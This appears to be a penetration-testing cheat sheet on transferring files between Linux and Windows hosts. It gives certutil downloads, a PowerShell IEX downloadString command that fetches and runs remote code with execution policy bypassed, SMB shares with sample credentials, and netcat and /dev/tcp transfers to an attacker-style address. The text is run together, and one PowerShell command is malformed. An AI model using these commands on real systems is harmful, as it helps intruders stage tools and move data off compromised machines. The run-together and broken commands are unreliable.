File Transfer
How to transfer files with Linux and Windows
From Linux to Windows
Establish a web server with Python in the path where the desired file is:
python3 -m http.server 8000python2.7 -m SimpleHTTPServer 8000certutil.exe
certutil.exe -f -urlcache -split http://10.10.10.10:8000/file fileUsing PowerShell
powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://10.10.10.10:8000/file')powershell IWR -uri http://10.10.10.10:8000/file -OutFile C:\\Users\carlos.rino\Desktop\filepowershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:8000/file')Invoke-WebRequest http://10.10.10.10:8000/file -o file Using a shared folder
Serve the file:
smbserver.py mysharedfolder $(pwd)smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321Upload the file:
net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10copy \\10.10.10.10\mysharedfolder\file fileFrom Linux to Linux
netcat (I)
Origin machine:
nc -lvp 4450 < fileDestination machine:
nc 10.10.10.10 4450 > filenetcat (II)
Origin machine:
nc -lvp 4450 < fileDestination machine:
cat < /dev/tcp/10.10.10.10/4450 > filenetcat (III)
Destination machine:
nc -lvp 4450 > fileOrigin machine:
cat file > /dev/tcp/10.10.10.10/4450Windows to Linux
Using a shared folder
Serve the file:
smbserver.py mysharedfolder $(pwd)smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321Copy the file:
net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
dir Y:\copy file.zip \\10.10.10.10\mysharedfolder\file.zipValidate integrity file
md5sum file_nameLast updated